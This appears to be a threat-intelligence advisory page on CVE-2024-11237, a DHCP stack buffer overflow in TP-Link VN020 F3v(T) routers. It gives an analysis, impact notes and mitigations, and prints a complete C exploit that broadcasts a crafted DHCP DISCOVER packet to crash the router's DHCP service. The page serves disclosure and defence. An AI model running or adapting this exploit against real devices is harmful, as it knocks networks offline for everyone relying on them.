TP-Link VN020 F3v(T) TT_V6.2.1021) - DHCP Stack Buffer Overflow
TP-Link VN020 F3v(T) TT_V6.2.1021) - DHCP Stack Buffer Overflow
AI Analysis
Technical Summary
The TP-Link VN020 F3v(T) TT_V6.2.1021 firmware contains a critical vulnerability in its DHCP service, specifically a stack-based buffer overflow triggered by malformed DHCP DISCOVER packets. The exploit targets the DHCP server running on UDP port 67, which processes broadcast DISCOVER packets without any authentication. The vulnerability arises primarily from the handling of the hostname DHCP option, where the router allocates a 64-byte buffer but the exploit sends a 127-byte hostname, causing a stack overflow and memory corruption. Additional vectors include malformed length fields in DHCP options and vendor-specific option parsing edge cases that confuse the DHCP parser, further facilitating memory corruption. The exploit is remote and requires no authentication or user interaction, making it highly accessible to attackers on the same network segment or potentially from the internet if the DHCP server is exposed. The provided exploit code, written in C, crafts a malicious DHCP DISCOVER packet with carefully constructed options to trigger the overflow and cause the DHCP service to crash, resulting in denial of service. The exploit attempts multiple sends and detects success by the absence of a DHCP response, indicating a crash. This vulnerability is identified as CVE-2024-11237 and affects hardware version 1.0 of the VN020-F3v(T) routers, particularly those supplied by Tunisian ISPs Tunisie Telecom and Topnet. No patches or mitigations are currently linked, and no known exploits in the wild have been reported yet. The exploit code is detailed and includes low-level socket programming for Windows, demonstrating the attack vector and payload construction.
Potential Impact
For European organizations, the impact of this vulnerability could be significant in environments where TP-Link VN020-F3v(T) routers are deployed, especially in branch offices or smaller sites using these models. Exploitation leads to a denial of service by crashing the DHCP service, which can disrupt network connectivity for all devices relying on DHCP for IP address assignment. This can halt business operations, cause loss of productivity, and potentially lead to cascading failures in network-dependent systems. Although the exploit does not directly enable code execution or data exfiltration, the memory corruption could be leveraged in future variants for privilege escalation or persistent compromise. The lack of authentication and ease of exploitation means attackers on the local network or connected via compromised devices could disrupt critical network infrastructure. Given the routers are supplied by specific ISPs, organizations using these providers or their hardware are at higher risk. The vulnerability also poses risks to service providers themselves, potentially affecting their network stability and customer trust.
Mitigation Recommendations
1. Immediate network segmentation to isolate vulnerable TP-Link VN020-F3v(T) routers from critical infrastructure and sensitive systems, limiting exposure to DHCP traffic from untrusted sources. 2. Disable or restrict DHCP server functionality on affected routers if possible, or replace the device with a non-vulnerable model. 3. Monitor network traffic for anomalous DHCP DISCOVER packets with unusually large hostname options or malformed DHCP options indicative of exploit attempts. 4. Implement DHCP snooping and filtering on switches to block malformed or suspicious DHCP packets before reaching the router. 5. Engage with TP-Link and ISPs (Tunisie Telecom, Topnet) to obtain firmware updates or patches addressing CVE-2024-11237; if unavailable, consider vendor support escalation. 6. Deploy network intrusion detection systems (NIDS) with signatures for this exploit pattern to alert on exploitation attempts. 7. Conduct regular audits of network devices to inventory vulnerable hardware and plan phased replacement or upgrades. 8. Educate network administrators on this specific vulnerability and ensure incident response plans include DHCP service disruption scenarios.
Affected Countries
Tunisia, France, Germany, Italy, Spain
Indicators of Compromise
- exploit-code: /* * Exploit Title: TP-Link VN020 F3v(T) TT_V6.2.1021) - DHCP Stack Buffer Overflow * Date: 10/20/2024 * Exploit Author: Mohamed Maatallah * Vendor Homepage: https://www.tp-link.com * Version: TT_V6.2.1021 (VN020-F3v(T)) * Tested on: VN020-F3v(T) Router (Hardware Version 1.0) * CVE: CVE-2024-11237 * Category: Remote * Technical Details: * ----------------- * - Triggers multiple memory corruption vectors in DHCP parsing * - Primary vector: Stack overflow via oversized hostname (127 bytes) * - Secondary vector: Parser confusion via malformed length fields * - Tertiary vector: Vendor specific option parsing edge case * * Attack Surface: * -------------- * - DHCP service running on port 67 * - Processes broadcast DISCOVER packets * - No authentication required * - Affects all routers running VN020 F3v(t) specifically the ones * supplied by Tunisie Telecom & Topnet * * Exploitation Method: * ------------------ * 1. Sends crafted DHCP DISCOVER packet * 2. Overflows hostname buffer (64 -> 127 bytes) * 3. Corrupts length fields in DHCP options * 4. Success = No response (service crash) * * Build: * ------ * Windows: cl poc.c /o tplink_dhcp.exe or use visual studio directly. * * Usage: * ------ * tplink_dhcp.exe #define _WINSOCK_DEPRECATED_NO_WARNINGS #include <Ws2tcpip.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <winsock2.h> #pragma comment(lib, "ws2_32.lib") // Standard DHCP ports - Server listens on 67, clients send from 68 #define DHCP_SERVER_PORT 67 #define DHCP_CLIENT_PORT 68 #define MAX_PACKET_SIZE 1024 // Maximum size for DHCP packet #define MAX_ATTEMPTS 3 // Forward declarations of functions void create_dhcp_discover_packet(unsigned char* packet, int* packet_length); void add_option(unsigned char* packet, int* offset, unsigned char option, unsigned char length, unsigned char* data); void tp_link(unsigned char* packet, int* offset); void print_packet_hex(unsigned char* packet, int length); int wait_for_response(SOCKET sock, int timeout); int main() { WSADATA wsa; SOCKET sock; struct sockaddr_in dest; unsigned char packet[MAX_PACKET_SIZE]; // Buffer for DHCP packet int packet_length = 0; // Length of constructed packet int attempts = 0; // Counter for send attempts int success = 0; printf("[TP-Thumper] Initializing Winsock...\n"); if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) { printf("[TP-Thumper] Winsock initialization failed. Error: %d\n", WSAGetLastError()); return 1; } sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (sock == INVALID_SOCKET) { printf("[TP-Thumper] Could not create socket. Error: %d\n", WSAGetLastError()); WSACleanup(); return 1; } // Set up broadcast address (255.255.255.255) dest.sin_family = AF_INET; dest.sin_port = htons(DHCP_SERVER_PORT); dest.sin_addr.s_addr = inet_addr("255.255.255.255"); // Enable broadcast mode on socket BOOL broadcast = TRUE; if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char*)&broadcast, sizeof(broadcast)) < 0) { printf("[TP-Thumper] Broadcast mode failed.\n"); closesocket(sock); WSACleanup(); return 1; } srand((unsigned int)time(NULL)); // Create the DHCP DISCOVER packet create_dhcp_discover_packet(packet, &packet_length); // Main attempt loop - tries to send packet MAX_ATTEMPTS times while (attempts < MAX_ATTEMPTS && !success) { printf("[TP-Thumper] Sending DHCP Discover packet (Attempt %d/%d)...\n", attempts + 1, MAX_ATTEMPTS); print_packet_hex(packet, packet_length); //debug // Send the packet if (sendto(sock, (char*)packet, packet_length, 0, (struct sockaddr*)&dest, sizeof(dest)) < 0) { printf("[TP-Thumper] Packet send failed. Error: %d\n", WSAGetLastError()); } else { printf("[TP-Thumper] Packet sent. Waiting for router response...\n"); if (wait_for_response(sock, 10)) { printf( "[TP-Thumper] Router responded! Exploit may not have succeeded.\n"); success = 1; } else { printf("[TP-Thumper] No response received within timeout.\n"); } } attempts++; } if (!success) { printf( "[TP-Thumper] Exploit succeeded: No router response after %d " "attempts.\n", MAX_ATTEMPTS); } else { printf("[TP-Thumper] Exploit failed: Router responded within timeout.\n"); } // Cleanup closesocket(sock); WSACleanup(); return 0; } /* * DHCP Message Format: * [0x00]: op = 0x01 ; BOOTREQUEST * [0x01]: htype = 0x01 ; Ethernet * [0x02]: hlen = 0x06 ; MAC addr len * [0x03]: hops = 0x00 ; No relay * [0x04-0x07]: xid ; Random transaction ID * [0x08-0x0F]: secs + flags ; Broadcast flags set * [0x10-0x1F]: ciaddr + yiaddr ; Empty * [0x20-0x27]: siaddr + giaddr ; Empty * [0x28-0x2D]: chaddr ; Crafted MAC */ void create_dhcp_discover_packet(unsigned char* packet, int* packet_length) { memset(packet, 0, MAX_PACKET_SIZE); int offset = 0; // DHCP Header - Standard fields packet[offset++] = 0x01; // BOOTREQUEST packet[offset++] = 0x01; // Ethernet packet[offset++] = 0x06; // MAC len packet[offset++] = 0x00; // No hops // ; XID - rand() used for bypass of response filtering // ; mov eax, rand() // ; mov [packet + 4], eax unsigned int xid = (unsigned int)rand(); *((unsigned int*)&packet[offset]) = htonl(xid); offset += 4; // ; Flags - Set broadcast bit to force response // ; mov word [packet + 8], 0x0000 ; secs elapsed // ; mov word [packet + 10], 0x8000 ; broadcast flag packet[offset++] = 0x00; packet[offset++] = 0x00; packet[offset++] = 0x80; packet[offset++] = 0x00; // Zero IP fields - forces DHCP server parse memset(&packet[offset], 0, 16); offset += 16; // ; Crafted MAC - DE:AD:BE:EF:00:01 // ; Used for unique client tracking, bypasses MAC filters packet[offset++] = 0xDE; packet[offset++] = 0xAD; packet[offset++] = 0xBE; packet[offset++] = 0xEF; packet[offset++] = 0x00; packet[offset++] = 0x01; memset(&packet[offset], 0x00, 10); offset += 10; // ; Skip server name/boot filename // ; Total padding: 192 bytes memset(&packet[offset], 0x00, 64); offset += 64; memset(&packet[offset], 0x00, 128); offset += 128; // ; DHCP Magic Cookie // ; 0x63825363 = DHCP in natural order packet[offset++] = 0x63; packet[offset++] = 0x82; packet[offset++] = 0x53; packet[offset++] = 0x63; // ; Stack layout after this point: // ; [ebp+0] = DHCP header // ; [ebp+240] = DHCP options start // ; Router parses sequentially from this point add_option(packet, &offset, 0x35, 0x01, (unsigned char[]) { 0x01 }); add_option(packet, &offset, 0x37, 4, (unsigned char[]) { 0x01, 0x03, 0x06, 0x0F }); // ; Trigger overflow conditions tp_link(packet, &offset); packet[offset++] = 0xFF; // End option *packet_length = offset; } void tp_link(unsigned char* packet, int* offset) { // ; Vendor specific overflow - triggers parser state confusion // ; 0x00,0x14,0x22 = TP-Link vendor prefix // ; Following 0xFF bytes cause length validation bypass unsigned char vendor_specific[] = { 0x00, 0x14, 0x22, 0xFF, 0xFF, 0xFF }; add_option(packet, offset, 0x2B, sizeof(vendor_specific), vendor_specific); // ; Stack buffer overflow via hostname // ; Router allocates 64-byte buffer but we send 127 // ; Overwrites adjacent stack frame unsigned char long_hostname[128]; memset(long_hostname, 'A', sizeof(long_hostname) - 1); long_hostname[127] = '\0'; add_option(packet, offset, 0x0C, 127, long_hostname); // ; Length field exploit // ; Claims 255 bytes but only sends 1 // ; Router assumes full length during memory operations // ; leads to read/write past buffer add_option(packet, offset, 0x3D, 0xFF, (unsigned char[]) { 0x01 }); } // ; Helper for DHCP option construction // ; option = option code // ; length = claimed length (can be falsified) // ; data = actual payload void add_option(unsigned char* packet, int* offset, unsigned char option, unsigned char length, unsigned char* data) { packet[(*offset)++] = option; // Option type packet[(*offset)++] = length; // Claimed length memcpy(&packet[*offset], data, length); *offset += length; } // Debug void print_packet_hex(unsigned char* packet, int length) { printf("[TP-Thumper] Packet Hex Dump:\n"); // Print header fields with labels printf("Opcode (op): %02X\n", packet[0]); printf("Hardware Type (htype): %02X\n", packet[1]); printf("Hardware Address Length (hlen): %02X\n", packet[2]); printf("Hops: %02X\n", packet[3]); // Transaction ID printf("Transaction ID (xid): "); for (int i = 4; i < 8; i++) { printf("%02X ", packet[i]); } printf("\n"); // Flags printf("Flags: "); for (int i = 10; i < 12; i++) { printf("%02X ", packet[i]); } printf("\n"); // Client Hardware Address (MAC) printf("Client Hardware Address (chaddr): "); for (int i = 28; i < 34; i++) { printf("%02X ", packet[i]); } printf("\n"); // DHCP Magic Cookie printf("Magic Cookie: "); for (int i = 236; i < 240; i++) { printf("%02X ", packet[i]); } printf("\n"); // DHCP Options printf("DHCP Options:\n"); int i = 240; while (i < length) { printf(" Option: %02X, Length: %02X, Data: ", packet[i], packet[i + 1]); int option_length = packet[i + 1]; for (int j = 0; j < option_length; j++) { printf("%02X ", packet[i + 2 + j]); } printf("\n"); i += 2 + option_length; if (packet[i] == 0xFF) { printf(" End of Options\n"); break; } } } // Wait for router response with timeout int wait_for_response(SOCKET sock, int timeout) { struct timeval tv; tv.tv_sec = timeout; tv.tv_usec = 0; // Set up file descriptor set for select() fd_set readfds; FD_ZERO(&readfds); FD_SET(sock, &readfds); // Wait for data or timeout int result = select(0, &readfds, NULL, NULL, &tv); return result > 0; // Returns true if data available }
TP-Link VN020 F3v(T) TT_V6.2.1021) - DHCP Stack Buffer Overflow
Description
TP-Link VN020 F3v(T) TT_V6.2.1021) - DHCP Stack Buffer Overflow
AI-Powered Analysis
Technical Analysis
The TP-Link VN020 F3v(T) TT_V6.2.1021 firmware contains a critical vulnerability in its DHCP service, specifically a stack-based buffer overflow triggered by malformed DHCP DISCOVER packets. The exploit targets the DHCP server running on UDP port 67, which processes broadcast DISCOVER packets without any authentication. The vulnerability arises primarily from the handling of the hostname DHCP option, where the router allocates a 64-byte buffer but the exploit sends a 127-byte hostname, causing a stack overflow and memory corruption. Additional vectors include malformed length fields in DHCP options and vendor-specific option parsing edge cases that confuse the DHCP parser, further facilitating memory corruption. The exploit is remote and requires no authentication or user interaction, making it highly accessible to attackers on the same network segment or potentially from the internet if the DHCP server is exposed. The provided exploit code, written in C, crafts a malicious DHCP DISCOVER packet with carefully constructed options to trigger the overflow and cause the DHCP service to crash, resulting in denial of service. The exploit attempts multiple sends and detects success by the absence of a DHCP response, indicating a crash. This vulnerability is identified as CVE-2024-11237 and affects hardware version 1.0 of the VN020-F3v(T) routers, particularly those supplied by Tunisian ISPs Tunisie Telecom and Topnet. No patches or mitigations are currently linked, and no known exploits in the wild have been reported yet. The exploit code is detailed and includes low-level socket programming for Windows, demonstrating the attack vector and payload construction.
Potential Impact
For European organizations, the impact of this vulnerability could be significant in environments where TP-Link VN020-F3v(T) routers are deployed, especially in branch offices or smaller sites using these models. Exploitation leads to a denial of service by crashing the DHCP service, which can disrupt network connectivity for all devices relying on DHCP for IP address assignment. This can halt business operations, cause loss of productivity, and potentially lead to cascading failures in network-dependent systems. Although the exploit does not directly enable code execution or data exfiltration, the memory corruption could be leveraged in future variants for privilege escalation or persistent compromise. The lack of authentication and ease of exploitation means attackers on the local network or connected via compromised devices could disrupt critical network infrastructure. Given the routers are supplied by specific ISPs, organizations using these providers or their hardware are at higher risk. The vulnerability also poses risks to service providers themselves, potentially affecting their network stability and customer trust.
Mitigation Recommendations
1. Immediate network segmentation to isolate vulnerable TP-Link VN020-F3v(T) routers from critical infrastructure and sensitive systems, limiting exposure to DHCP traffic from untrusted sources. 2. Disable or restrict DHCP server functionality on affected routers if possible, or replace the device with a non-vulnerable model. 3. Monitor network traffic for anomalous DHCP DISCOVER packets with unusually large hostname options or malformed DHCP options indicative of exploit attempts. 4. Implement DHCP snooping and filtering on switches to block malformed or suspicious DHCP packets before reaching the router. 5. Engage with TP-Link and ISPs (Tunisie Telecom, Topnet) to obtain firmware updates or patches addressing CVE-2024-11237; if unavailable, consider vendor support escalation. 6. Deploy network intrusion detection systems (NIDS) with signatures for this exploit pattern to alert on exploitation attempts. 7. Conduct regular audits of network devices to inventory vulnerable hardware and plan phased replacement or upgrades. 8. Educate network administrators on this specific vulnerability and ensure incident response plans include DHCP service disruption scenarios.
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Technical Details
- Edb Id
- 52292
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for TP-Link VN020 F3v(T) TT_V6.2.1021) - DHCP Stack Buffer Overflow
/* * Exploit Title: TP-Link VN020 F3v(T) TT_V6.2.1021) - DHCP Stack Buffer Overflow * Date: 10/20/2024 * Exploit Author: Mohamed Maatallah * Vendor Homepage: https://www.tp-link.com * Version: TT_V6.2.1021 (VN020-F3v(T)) * Tested on: VN020-F3v(T) Router (Hardware Version 1.0) * CVE: CVE-2024-11237 * Category: Remote * Technical Details: * ----------------- * - Triggers multiple memory corruption vectors in DHCP parsing * - Primary vector: Stack overflow via oversized hostname (127 b... (10239 more characters)
Threat ID: 68489dde7e6d765d51d53612
Added to database: 6/10/2025, 9:04:30 PM
Last enriched: 6/11/2025, 9:13:21 PM
Last updated: 8/4/2025, 9:28:55 PM
Views: 21
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